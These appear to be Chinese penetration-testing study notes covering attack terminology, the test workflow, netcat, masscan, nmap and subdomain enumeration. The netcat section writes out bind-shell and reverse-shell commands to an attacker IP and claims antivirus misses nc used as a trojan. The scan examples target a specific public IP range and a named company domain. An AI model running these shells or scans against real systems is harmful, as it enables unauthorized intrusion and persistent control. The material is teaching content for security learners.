基本渗透概念
1、基本渗透概念
核心概念:
POC:全称“Proof of Concept”中文 ' 概念验证 ' ,常指一段漏洞证明的代码
EXP :全称 ' Exploit ',中文 ' 利用 ',指利用系统漏洞进行攻击的动作
Payload :中文 ' 有效载荷 ',指成功exploit之后,真正在目标系统执行的代码或指令
Shellcode :简单翻译 ' shell代码 ',是Payload的一种,由于其建立正向/反向shell而得名
其他概念
肉鸡
所谓肉鸡是一种很形象的比喻,比喻那些可以被攻击者控制的电脑、手机、服务器或者其他摄像 头、路由器等智能设备,用于发动网络攻击。
木马
就是那些表面上伪装成了正常的程序,但是当这些程序运行时,就会获取系统的整个控制权限。有很多黑客就是热衷使用木马程序来控制别人的电脑,比如灰鸽子
网页木马
面上伪装成普通的网页或是将恶意代码直接插入到正常的网页文件中,当有人访问时,网页木马就会利用对方系统或者浏览器的漏洞自动将配置好的木马服务端植入到访问者的电脑上
后门
这是一种形象的比喻,入侵者在利用某些方法成功的控制了目标主机后,可以在对方的系统中植入特定的程序,或者是修改某些设置,用于访问、查看或者控制这台主机
弱口令
指那些强度不够,容易被猜解的,类似123,abc这样的口令
0day漏洞
在网络攻防的语境下,0day漏洞指那些已经被攻击者发现掌握并开始利用,但还没有被包括受影响软件厂商在内的公众所知的漏洞
1day漏洞
指漏洞信息已公开但仍未发布补丁的漏洞。此类漏洞的危害仍然较高,但往往官方会公布部分缓解措施,如关闭部分端口或者服务等。
Nday漏洞
指已经发布官方补丁的漏洞。通常情况下,此类漏洞的防护只需更新补丁即可,但由于多种原因,导致往往存在大量设备漏洞补丁更新不及时,且漏洞利用方式已经在互联网公开,往往此类漏洞是黑客最常 使用的漏洞。
免杀
就是通过加壳、加密、修改特征码、加花指令等等技术来修改程序,使其逃过杀毒软件的查杀。
社工
一种无需依托任何黑客软件,更注重研究人性弱点的黑客手法正在兴起,这就是社会工程学黑客技术。
- 通俗而言是指利用人的社会学弱点实施网络攻击的一整套方法论,其攻击手法往往出乎人意料。
提权
指得到你本没得到的权限,比如说电脑中非系统管理员就无法访问一些C盘的东西,而系统管理员就可以,通过一定的手段让普通用户提升成为管理员,让其拥有管理员的权限,这就叫提权。
网络靶场
主要是指通过虚拟环境与真实设备相结合,模拟仿真出真实赛博网络空间攻防作战环境,能够支撑攻防演练、安全教育、网络空间作战能力研究和网络武器装备验证试验平台。** **
黑盒测试
在了解目标系统的内部结构和代码情况上非常有限的情况下进行测试。
白黑测试
白盒测试则是测试人员有系统的源代码和结构信息的情况下进行测试。
WAF
即Web Application Firewall,即Web应用防火墙,是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。
2.渗透测试流程
服务器架构:
一、分类
- 按物理形态
-
- 物理服务器:独立硬件,性能稳定,成本高。
- 虚拟服务器(VPS):基于物理服务器虚拟化划分,资源隔离,性价比高。
- 云服务器(ECS):按需分配资源,弹性扩展,如阿里云、AWS。
- 按架构模式
-
- C/S 架构(客户端 / 服务器):客户端处理逻辑,服务器存储数据(如 QQ)。
- B/S 架构(浏览器 / 服务器):浏览器作为客户端,服务器统一处理逻辑(如 Web 网站)。
二、关键组件
- CPU:处理请求,主流 Intel/AMD,关注核心数、主频。
- 内存(RAM):运行程序和缓存数据,容量和带宽影响性能。
- 存储:
-
- 硬盘(HDD/SSD):HDD 性价比高,SSD 速度快。
- RAID:多盘冗余,如 RAID 0(性能)、RAID 1(备份)、RAID 5(性能 + 冗余)。
- 网络接口:网卡速率(如 1G/10Gbps),支持负载均衡和冗余。
- 电源 / 散热:冗余电源保障稳定性,散热系统避免过热。
三、常用架构模式
- 单服务器架构
-
- 所有服务(Web、数据库、缓存)集中在一台服务器,适合小型项目。
- 分层架构(三层架构)
-
- 表现层:Web 服务器(Nginx/Apache)处理前端请求。
- 应用层:应用服务器(Tomcat/Node.js)处理业务逻辑。
- 数据层:数据库服务器(MySQL/PostgreSQL)存储数据。
- 分布式架构
-
- 负载均衡:通过 LVS/Nginx 将请求分发到多台服务器,避免单点压力。
- 微服务:将业务拆分为独立服务(如用户服务、订单服务),通过 API 通信。
- 集群:多台服务器组成逻辑整体,如数据库主从集群、Redis 缓存集群。
使用宝塔搭建网站:
前言
宝塔面板作为简单好用的服务器运维管理面板,它支持Linux/Windows系统,我们可用它来一键配置LAMP/LNMP环境、网站、数据库、FTP等,通过Web端轻松管理服务器。
以下教程,我们将演示使用宝塔面板快速简单搭建本地web网站,并做内网穿透,实现不在同个局域网下的用户也可以访问到本地web站点,无需公网IP,也不用设置路由器。
宝塔面板使用教程
3.流程
3.1. 明确测试范围与类型
根据范围
- SRC 平台(挖洞):如补天平台(补天 - 企业和白帽子共赢的漏洞响应平台,帮助企业建立SRC )、安全客 SRC(国内漏洞响应平台(SRC)导航 - 安全KER,安全资讯平台 ),提交漏洞获取奖励。
- 靶场(学习):用于练习技术,积累经验。
- 比赛 / 答题:检验技能,提升实战能力。
根据类型
- web 网站:常见渗透目标,涉及多种 web 漏洞。
- app:针对移动应用的渗透,需关注移动端特性。
- 小程序:基于微信等平台,有独特的安全测试要点。
3.2. 信息收集
收集方式
- 主动扫描:使用工具探测目标网络和系统。
- 开放搜索:通过搜索引擎、公共数据库等获取公开信息。
收集类型
- 基础网络信息:IP、网段、域名、开放端口。
- 系统信息:操作系统类型及版本。
- 服务信息:中间件(如 Nginx、Apache)、脚本语言、数据库(MySQL、Oracle)、CMS 源码(WordPress 等)。
- 社工信息:联系信息、人员信息、公司架构、域名 / 服务器注册商等,辅助渗透。
3.3. 漏洞探测
- 利用漏洞库:参考漏洞数据库(如www.exploit-db.com ),查询已知漏洞及利用方式。
- 自主挖掘常见漏洞
-
- 认证类:弱口令、登陆猜解。
- 代码执行类:远程命令执行(RCE)、远程代码执行。
- 注入类:SQL 注入、XXE(XML 外部实体注入)。
- 跨站类:XSS 跨站脚本攻击、CSRF 跨站请求伪造。
- 请求伪造类:SSRF 服务端请求伪造。
- 文件操作类:文件上传、下载漏洞。
3.4. 漏洞验证
- 自动化验证:使用自动化工具快速验证漏洞存在性。
- 手工验证:手动构造请求,精准确认漏洞,避免误报。
3.5. 信息分析
- 绕过防御:针对 WAF、防火墙等,尝试绕过策略。
- 规划攻击路径:制定内网渗透、间接或直接攻击方案。
- 绕过检测:对攻击代码进行处理,躲避代码检查和防护系统监测。
3.6. 获取所需
- 信息获取:获取目标内部敏感信息。
- 深度渗透:进一步扩大渗透范围,获取更高权限。
- 建立后门:植入后门程序,实现持续性控制。
3.7. 信息整理与报告
汇总测试过程、发现的漏洞、利用方法及修复建议,形成完整的渗透测试报告,为目标系统加固提供依据。
4.防火墙基本知识
入站规则与出站规则补充说明
入站规则
通过网络访问信息系统时所采取的安全措施,通常包括防火墙、入侵检测系统、防病毒系统、访问控制列表(ACL)和其他安全设备。主要目的是防止未经授权的网络流量进入网络,并阻止传播恶意代码、垃圾邮件和其他危害安全的流量。在渗透测试中,入站规则是攻击者需要突破的第一道防线。
出站规则
在内部网络向外部发送数据时所采取的安全措施,主要目的是防止未经授权的网络流量从内部网络发出,以及防止数据泄露。一般包括访问控制列表(ACL)、加密、防病毒和其他安全设备。渗透测试中,成功获取数据后,出站规则会限制数据外传,是保证数据安全的重要屏障。
5,nc瑞士军刀
nc介绍
nc作为网络工具中的瑞士军刀,是学习信息安全必须掌握的工具之一,nc的大小只有几十kb,但它的作用也是非常之大。
nc作用
1.侦听模式 / 传输模式
2.telnet / 获取banner信息
3.传输文本信息
4.传输文件/目录
5.加密传输文件
6.远程控制/木⻢:杀毒软件不会查杀
7.加密所有流量
8.流媒体服务器
9.远程克隆硬盘
监听模式(作为服务端)
1. 基础监听
nc -lvnp [端口] # 监听 TCP 端口(常用)
nc -luvnp [端口] # 监听 UDP 端口
- 参数解析
-
-l
:开启监听模式(Listener)。-v
:显示详细信息。-n
:不解析域名(直接使用 IP)。-p [端口]
:指定监听端口。-t
:以telnet形式应答-e
:程序重定向-z
:不进行交互,直接显示结果-u
:使用UDP协议传输-w
:设置超时时间-d
后台运行
2. 绑定 IP 监听
nc -lvnp [端口] -e [程序] # 绑定指定 IP 并监听(如 `0.0.0.0`)
- -e 参数(需系统支持):接收到连接后执行指定程序(如反向 shell)。
连接模式(作为客户端)
1. 基础连接
nc [目标 IP] [端口] # TCP 连接
nc -u [目标 IP] [端口] # UDP 连接
2. 端口扫描(简单探测)
nc -zv [目标 IP] [端口范围] # 静默扫描端口是否开放(Z=零 I/O 模式,v=显示信息)
# 示例:扫描 1-100 端口
nc -zv 192.168.1.1 1-100
基础聊天(TCP 通信)
服务端(监听)
nc -lp [端口] # 开启监听(如:nc -lp 5566)
客户端(连接)
nc [IP] [端口] # 连接服务端(如:nc 127.0.0.1 5566)
- 效果:双方输入内容可实时互传,适用于简单文本通信。
文件传输与隧道
1. 传输文件(服务端 → 客户端)
- 服务端(发送方)
nc -lvnp [端口] < [文件路径] # 监听端口并发送文件
- 客户端(接收方)
nc [服务端 IP] [端口] > [保存路径] # 连接并接收文件
2. 传输目录(需配合 tar)
- 服务端(打包并发送)
tar -cvf - [目录] | nc -lvnp [端口]
- 客户端(接收并解压)
nc [服务端 IP] [端口] | tar -xvf -
3.正向返回shell
#服务端
nc.exe -lp 5566 -e cmd.exe
#客户端
nc.exe 127.0.0.1 5566
4. 反向 Shell(重点!)
- 目标主机(反弹 Shell 到攻击机)
# Linux(Bash)
nc [攻击机 IP] [端口] -e /bin/sh
# Windows(PowerShell)
nc [攻击机 IP] [端口] -e cmd.exe
- 攻击机(监听接收)
nc -lvnp [端口]
四、信息探测
1. 端口扫描(Kali 环境)
nc -zv [IP] [端口范围] # 静默扫描端口是否开放
# 示例:扫描单个端口
nc -zv 192.168.1.100 80
# 扫描端口范围(1-100)
nc -zv 192.168.1.100 1-100
nc -n -v -w1 -z 192.168.110.87 1-1000
-p:指定端口
-n:以数字形式标识IP
-v:显示执行命令过程
-z:不进行交互,直接显示结果
-w:设置超时时间
2. 打印服务 Banner(Kali 环境)
nc -v [IP] [端口] # 连接后显示服务欢迎信息(如 Web 服务器、FTP 等)
# 示例:获取 Web 服务器 Banner
nc -v 192.168.1.100 80 echo " " |nc -n -v -w1 192.168.110.87 1-1000
#-v 显示详细连接信息
#-n 不解析域名(直接用 IP)
#-w 设置连接超时时间
注意事项
- 权限问题:部分功能(如绑定低端口
<1024
)需管理员权限。 - 系统差异:Windows 版
nc
(如ncat
)参数可能略有不同,建议使用-h
查看帮助。 - 安全防护:反向 Shell 易被防火墙拦截,需结合目标网络的 入站 / 出站规则 调整端口或协议。
Banner是什么?
“Banner” 指的是目标服务在建立连接时返回的欢迎信息或标识字符串。
简单来说,当你用 nc
连接到某个网络服务(如 Web 服务器、FTP 服务器、邮件服务器等)时,服务器通常会首先发送一段文本信息,用来标识自身的类型、版本或其他相关信息,这段信息就被称“Banner”。
例如:
- 连接 Web 服务器时,Banner 可能包含服务器软件(如 Apache、Nginx)及版本信息
- 连接 FTP 服务器时,Banner 可能显示 FTP 服务的名称和版本
- 连接 SSH 服务器时,Banner 会显示 SSH 协议版本和服务器标识
使用 nc
打印 Banner 的典型命令是:
nc <目标IP> <端口>
当连接成功后,服务器返回的第一部分信息就是 Banner。
Banner 信息在渗透测试中很有价值,通过分析 Banner 可以快速了解目标服务的类型和版本,进而判断可能存在的漏洞或攻击方向。
6.数据库信息收集
数据库很难直接看到,需要借助工具扫描端口
常见端口
1,web类(web漏洞/敏感目录)
80 web
80-89 web
8000-9090 web
2,数据库类
1433 MSSQL
1521 Oracle
3306 MySQL
5432 PostgreSQL
3.特殊服务类
443 SSL心脏滴血
873 Rsync未授权
5984 CouchDB http://xxx:5984/_utils/
6379 redis未授权
7001,7002 WebLogic默认弱口令,反序列
9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞
11211 memcache未授权访问
27017,27018 Mongodb未授权访问
50000 SAP命令执行 50070,50030 hadoop默认端口未授权访问
4,常用端口类
21 ftp
22 SSH
23 Telnet
2601,2604 zebra路由,默认密码zebra
3389 远程桌面
5、使用nc扫描,或者在线工具
1. 端口扫描(Kali 环境)
nc -zv [IP] [端口范围] # 静默扫描端口是否开放
# 示例:扫描单个端口
nc -zv 192.168.1.100 80
# 扫描端口范围(1-100)
nc -zv 192.168.1.100 1-100
nc -n -v -w1 -z 192.168.110.87 1-1000
-p:指定端口
-n:以数字形式标识IP
-v:显示执行命令过程
-z:不进行交互,直接显示结果
-w:设置超时时间
2.使用在线工具
7.masscan
kali里面内置的工具,性能比nmap要高,可以先使用masscan对目标IP(通常是一个网段)进行全端口
扫描,然后再使用nmap对存活主机的开放端口进行扫描,找出对应端口的服务存在的漏洞,使用
masscan对目标IP进行扫描的原因就是因为其速度快于nmap.
参数讲解
基本扫描参数
-p:指定扫描的端口范围。
-P:设置目标主机的端口范围。
-iL:从文件中读取目标IP地址。
扫描速度和性能
--rate:设置扫描速度(数据包/秒)。
--max-rate:设置最大扫描速度。
--min-rate:设置最小扫描速度。
--randomize-hosts:随机扫描目标主机。
输出格式
-oL:以普通文本格式输出结果。
-oJ:以JSON格式输出结果。
-oG:以Grepable格式输出结果。
网络探测
--ping:Ping扫描,检测存活主机。
--banners:获取主机服务的横幅信息。
基础设置
--adapter:选择网络适配器。
--router-mac:指定路由器的MAC地址。
案例展示
# 扫描指定端口范围和IP范围(C段:同网段下面的不同服务器IP下的WEB应用查询技术)
sudo masscan -p 80-90 --range 8.217.43.1-8.217.43.255 #检查指定范围的主机是否存活
sudo masscan --ping --range 8.217.43.1-8.217.43.255 # 扫描所有端口,设置速率为1000
masscan -p 1-65535 8.217.43.84 --rate 1000 # 从文件中读取IP列表,输出为JSON格式
masscan -iL targets.txt -oJ output.json
masscan 不适合针对某个ip做详细的探测
8.nmap
功能强劲的扫描工具,kali里面自带,支持端口扫描、主机探测、服务识别、系统识别,并且结构可以到处
端口扫描
-p 80 #扫80端口
-p 1-80 #扫1-80端口
-p 80,3389,22,21 #扫指定端口
-p- #等价-p 1-65535nmap 8.217.43.84 -p 1-10000
nmap 8.217.43.84 -p 80,3389,22,21
nmap 192.168.209.1 -p 1-10000
主机探测
使用sP
nmap -sP 8.217.43.84
服务识别
使用-sV
nmap -sV 8.217.43.84 -p 80
nmap -sV 8.217.43.84
系统识别
使用-O
sudo nmap -O 8.217.43.84
sudo nmap -O 8.217.43.84 -p 8080
结果导出
sudo nmap -O 8.217.43.84 -oN rere.txt
9.子域名收集
概念 | 主域名 (Root Domain) | 子域名 (Subdomain) |
构成 | 注册的顶级域名(如 | 主域名前的扩展(如 |
层级 | 域名系统的根节点 | 主域名的分支节点 |
所有权 | 需通过ICANN认证机构注册 | 由主域名所有者自由创建管理 |
1、使用在线收集工具
IP属地 IP属地查询 IP归属地查询 IP地址归属地查询
2.subDomainsBrute工具
可以去github获取
https://github.com/lijiejie/subDomainsBrute
安装
注意需要使用Python2的环境,建议使用python-2.7.14.msi
pip.exe install dnspython gevent -i https://pypi.douban.com/simple
1.1 清华大学(完全度和速度都很好,是一个优秀的pip镜像源)
https://pypi.tuna.tsinghua.edu.cn/simple
1.2 阿里云(完全度和速度也很好,是一个不错的选择)
https://mirrors.aliyun.com/pypi/simple/
1.3 网易(速度比较快,但是完全度有限)
https://mirrors.163.com/pypi/simple/
1.4 豆瓣(速度较快,但是完全度也有限)
https://pypi.douban.com/simple/
1.5 百度云(速度较快,但是完全度也有限)
https://mirror.baidu.com/pypi/simple/
1.6 中科大(速度较快,但完全度不如前面几个镜像源)
https://pypi.mirrors.ustc.edu.cn/simple/
1.7 华为云(完全度和速度均中等)
https://mirrors.huaweicloud.com/repository/pypi/simple/
1.8 腾讯云(速度一般,完全度也一般)
https://mirrors.cloud.tencent.com/pypi/simple/
参数介绍
#-version 显示版本号并退出
#-h, --help 帮助
#-f FILE 指定暴力猜解字典(默认使用subnames.txt)
#-full 全扫描,使用subnames_full.txt
#-i, --ignore-intranet 忽略不想采集的IP地址
#-t THREADS, --threads=THREADS 扫描线程数,默认200
#-p PROCESS, --process=PROCESS 扫描进程数,默认为6
#-o OUTPUT, --output=OUTPUT 输出文件名称 {target}.txt
使用
E:\Python27\python.exe subDomainsBrute.py -t 20 vivo.com.cn -o xx.txt
3.使用铸剑(推荐)
https://github.com/7kbstorm/7kbscan-WebPathBrute
7kbscan
10.黑暗引擎
网络空间测绘,网络空间安全搜索引擎,网络空间搜索引擎,安全态势感知 - FOFA网络空间测绘系统